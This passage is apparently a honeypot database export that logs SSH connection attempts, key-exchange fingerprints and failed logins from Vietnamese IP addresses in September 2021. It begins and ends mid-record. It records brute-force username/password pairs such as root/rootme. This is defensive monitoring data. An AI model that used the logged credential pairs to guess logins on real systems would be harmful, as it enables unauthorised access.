"a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33870, "timestamp": "2021-09-20T11:06:44.564149", "@timestamp": "2021-09-20T11:06:44.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21352	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:44.907053+03	2021-09-20 14:15:03.553612+03	{"_id": "QQbjAnwBvYTbRNuEBgL3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f92dc203e6b3", "@version": "1", "timestamp": "2021-09-20T11:06:44.907053Z", "@timestamp": "2021-09-20T11:06:44.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21353	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:44.848755+03	2021-09-20 14:15:03.554645+03	{"_id": "NAbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "96c319c4c305", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:44.848755Z", "@timestamp": "2021-09-20T11:06:44.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21355	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:45.129448+03	2021-09-20 14:15:03.557612+03	{"_id": "NgbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "96c319c4c305", "@version": "1", "timestamp": "2021-09-20T11:06:45.129448Z", "@timestamp": "2021-09-20T11:06:45.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21356	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:45.063311+03	2021-09-20 14:15:03.558613+03	{"_id": "RAbjAnwBvYTbRNuECQJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 486943716853016, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57186, "dest_port": 22, "timestamp": "2021-09-20T11:06:45.063311Z", "@timestamp": "2021-09-20T11:06:45.063Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21357	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:45.127434+03	2021-09-20 14:15:03.560612+03	{"_id": "RQbjAnwBvYTbRNuECQJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 993515782053915, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48102, "dest_port": 22, "timestamp": "2021-09-20T11:06:45.127434Z", "@timestamp": "2021-09-20T11:06:45.127Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21358	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:45.760329+03	2021-09-20 14:15:03.561612+03	{"_id": "RwbjAnwBvYTbRNuECQJ2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 313493610165948, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54336, "dest_port": 22, "timestamp": "2021-09-20T11:06:45.760329Z", "@timestamp": "2021-09-20T11:06:45.760Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21359	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:45.479428+03	2021-09-20 14:15:03.562613+03	{"_id": "SgbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "66af4621e8ae", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:45.479428Z", "@timestamp": "2021-09-20T11:06:45.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21360	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:46.066245+03	2021-09-20 14:15:03.563612+03	{"_id": "UAbjAnwBvYTbRNuECgLV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [fax/fax] failed", "session": "ef4f33bd8365", "@version": "1", "password": "fax", "username": "fax", "timestamp": "2021-09-20T11:06:46.066245Z", "@timestamp": "2021-09-20T11:06:46.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21361	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:37.516789+03	2021-09-20 14:15:03.565613+03	{"_id": "qAbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35274, "timestamp": "2021-09-20T11:06:37.516789", "@timestamp": "2021-09-20T11:06:37.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21362	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.709279+03	2021-09-20 14:15:03.566613+03	{"_id": "mgbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:47002 (192.168.176.2:22) [session: 5372a2bf8e42]", "session": "5372a2bf8e42", "@version": "1", "protocol": "ssh", "src_port": 47002, "dest_port": 22, "timestamp": "2021-09-20T11:06:37.709279Z", "@timestamp": "2021-09-20T11:06:37.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21363	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.579868+03	2021-09-20 14:15:03.567613+03	{"_id": "qgbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/rootme] failed", "session": "3b9958767162", "@version": "1", "password": "rootme", "username": "root", "timestamp": "2021-09-20T11:06:37.579868Z", "@timestamp": "2021-09-20T11:06:37.579Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21364	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.514516+03	2021-09-20 14:15:03.568613+03	{"_id": "ngbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7639ba68c7fe", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:37.514516Z", "@timestamp": "2021-09-20T11:06:37.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21365	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.710829+03	2021-09-20 14:15:03.569613+03	{"_id": "rAbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5372a2bf8e42", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:37.710829Z", "@timestamp": "2021-09-20T11:06:37.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21366	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.88726+03	2021-09-20 14:15:03.571612+03	{"_id": "pgbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b81e5eaa956b", "@version": "1", "duration": 2.5737125873565674, "timestamp": "2021-09-20T11:06:37.887260Z", "@timestamp": "2021-09-20T11:06:37.887Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21367	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:38.177117+03	2021-09-20 14:15:03.572612+03	{"_id": "0gbiAnwBvYTbRNuE7gAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 179213604585504, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35120, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.177117Z", "@timestamp": "2021-09-20T11:06:38.177Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21368	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:47.160852+03	2021-09-20 14:15:03.573613+03	{"_id": "dAbjAnwBvYTbRNuEEgKm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 